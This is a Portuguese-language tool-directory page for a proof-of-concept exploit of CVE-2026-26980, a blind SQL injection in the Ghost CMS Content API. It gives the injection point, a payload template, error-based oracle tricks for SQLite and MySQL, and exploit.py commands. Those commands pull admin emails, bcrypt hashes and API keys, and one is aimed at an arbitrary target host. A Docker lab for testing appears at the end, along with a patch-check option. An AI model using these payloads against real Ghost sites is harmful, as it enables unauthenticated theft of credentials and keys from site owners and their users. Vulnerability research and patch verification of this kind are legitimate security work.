Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-26980-PoC — Injeção SQL Cega na API de Conteúdo do Ghost CMS | Kitploit
Ferramentas/GitHubGitHub/n0bitaemon/cve-2026-26980-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebColeta de InformaçõesTestes de PenetraçãoSegurança de Banco de DadosLabs e Prática
GitHubn0bitaemon/cve-2026-26980-poc

CVE-2026-26980-PoC

Injeção SQL Cega na API de Conteúdo do Ghost CMS

Ver Repositório
111há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-26980 — Injeção SQL Cega na API de Conteúdo do Ghost CMS

Afetado: Ghost 3.24.0 – 6.19.0
Corrigido em: Ghost 6.19.1
Autenticação necessária: Nenhuma — a chave da API de Conteúdo é pública
Impacto: Leitura não autenticada de todo o banco de dados (credenciais, chaves de API)


Vulnerabilidade

slug-filter-order.js interpola valores de slug fornecidos pelo usuário diretamente em uma cláusula ORDER BY SQL bruta em vez de usar vinculações parametrizadas.

// VULNERABLE — Ghost < 6.19.1
const slugList = slugs.map(s => `'${s}'`).join(',');
return `CASE WHEN ${table}.slug IN (${slugList}) THEN FIELD(...) ELSE ... END ASC`;
//                                  ^^^^^^^^^^^ raw string interpolation

// FIXED — Ghost 6.19.1
knex.orderByRaw('CASE WHEN slug = ? THEN 0 ELSE 1 END', [slugValue]);

Ponto de injeção:

GET /ghost/api/content/posts/?key=<content_api_key>&filter=slug:[<PAYLOAD>,<anchor>]

Template de payload:

slug:['||<SQL_EXPR>||',<anchor-slug>]

Oráculo

A expressão injetada atua como um oráculo booleano baseado em erro.

EngineTRUEFALSE
SQLitehex(randomblob(10^15)) → OOM → HTTP 500ELSE 0 → HTTP 200
MySQLTHEN 0 → HTTP 200EXP(710) estouro → HTTP 500

Restrições do NQL — a expressão SQL dentro dos colchetes não deve conter aspas simples (') ou vírgulas (,):

ProblemaSolução SQLiteSolução MySQL
Literal de string 'content'CHAR(99)||CHAR(111)||...0x636F6E74656E74
Caractere na posição NComparação de strings baseada em prefixoASCII(SUBSTR(x FROM N FOR 1))

|| é concatenação de strings no SQLite, mas OR lógico no MySQL — literais de string devem ser codificados de forma diferente por mecanismo.


Uso

python3 exploit/exploit.py --url URL --key KEY [--slug SLUG] [data flags] [options]

Required:
  --url URL       Ghost base URL (e.g. http://localhost:2368)
  --key KEY       Content API key

Optional:
  --slug SLUG     Anchor slug (auto-discovered from API if omitted)
  --dbms {auto,sqlite,mysql}   DB engine (default: auto-detect)
  --delay N       Seconds between requests — use to avoid HTTP 429 (default: 0)
  --proxy URL     HTTP proxy (e.g. http://127.0.0.1:8080) (default: none)
  --validate-fix  Test if the target is patched, then exit

Data flags (at least one required):
  --email         User email(s)
  --hash          User bcrypt hash(es)
  --content-key   Content API key(s)
  --admin-key     Admin API key(s)
  --all           Shorthand for --email --hash --content-key --admin-key

Modifier:
  --all-records   Extract ALL records for the selected flag(s) instead of first only

Exemplos

# Extract first admin email + hash (no proxy)
python3 exploit/exploit.py \
  --url http://localhost:2368 \
  --key <content_api_key> \
  --email --hash --no-proxy

# Extract everything, first record each
python3 exploit/exploit.py \
  --url http://localhost:2368 \
  --key <content_api_key> \
  --all --no-proxy

# Extract all Content API keys
python3 exploit/exploit.py \
  --url http://localhost:2368 \
  --key <content_api_key> \
  --content-key --all-records

# Extract ALL records of ALL data types
python3 exploit/exploit.py \
  --url http://localhost:2368 \
  --key <content_api_key> \
  --all --all-records

# Route through Burp proxy
python3 exploit/exploit.py \
  --url http://localhost:2368 \
  --key <content_api_key> \
  --all --proxy http://127.0.0.1:8080

# Force MySQL engine, add delay to avoid rate limiting
python3 exploit/exploit.py \
  --url http://target.com \
  --key <content_api_key> \
  --all --dbms mysql --delay 0.5

# Verify the patched version is not exploitable
python3 exploit/exploit.py \
  --url http://localhost:2369 \
  --key <content_api_key> \
  --validate-fix

Limitação de taxa (HTTP 429)

Por padrão, o Ghost limita a taxa de requisições à API de Conteúdo. Opções:

  1. Passe --delay 0.5 para adicionar um atraso entre as requisições
  2. Defina API_RATE_LIMIT_ENABLED: "false" no ambiente do docker-compose e reinicie

Referências

  • Aviso de Segurança do Ghost: GHSA-w52v-v783-gw97
  • NVD: CVE-2026-26980
  • Diff da correção: slug-filter-order.js no Ghost 6.18.0 → 6.19.1

Configuração do Laboratório

Apenas para referência — pule se você já possui uma instância vulnerável do Ghost.

Requisitos

  • Docker + Docker Compose
  • Python 3.9+ com pip install requests

Estrutura de diretórios

ghost-cve-2026-26980/
├── mysql_docker-compose.yml    # Ghost + MySQL 8.0
├── sqlite_docker-compose.yml   # Ghost + SQLite (default)
├── mysql-init/
│   └── 01-init.sql             # creates ghost_patch DB, grants access
├── vulnerable/
│   └── Dockerfile              # Ghost 6.18.0
├── patched/
│   └── Dockerfile              # Ghost 6.19.1
└── exploit/
    └── exploit.py

Ambos os arquivos compose expõem:

  • http://localhost:2368 — vulnerável (Ghost 6.18.0)
  • http://localhost:2369 — corrigido (Ghost 6.19.1)

Iniciar com SQLite

docker compose -f sqlite_docker-compose.yml up -d

Iniciar com MySQL

docker compose -f mysql_docker-compose.yml up -d

Credenciais MySQL: host=localhost:3306 user=ghost password=ghostpass
Bancos de dados: ghost_vuln (porta 2368) / ghost_patch (porta 2369)

Configuração da primeira execução

Aguarde ~60 s para o Ghost inicializar, então:

  1. Acesse http://localhost:2368/ghost — crie uma conta de administrador e publique pelo menos um post
  2. Copie a chave da API de Conteúdo no Ghost Admin → Configurações → Integrações

Reiniciar o laboratório

# SQLite
docker compose -f sqlite_docker-compose.yml down -v
docker compose -f sqlite_docker-compose.yml up -d

# MySQL
docker compose -f mysql_docker-compose.yml down -v
docker compose -f mysql_docker-compose.yml up -d
Baixar ferramenta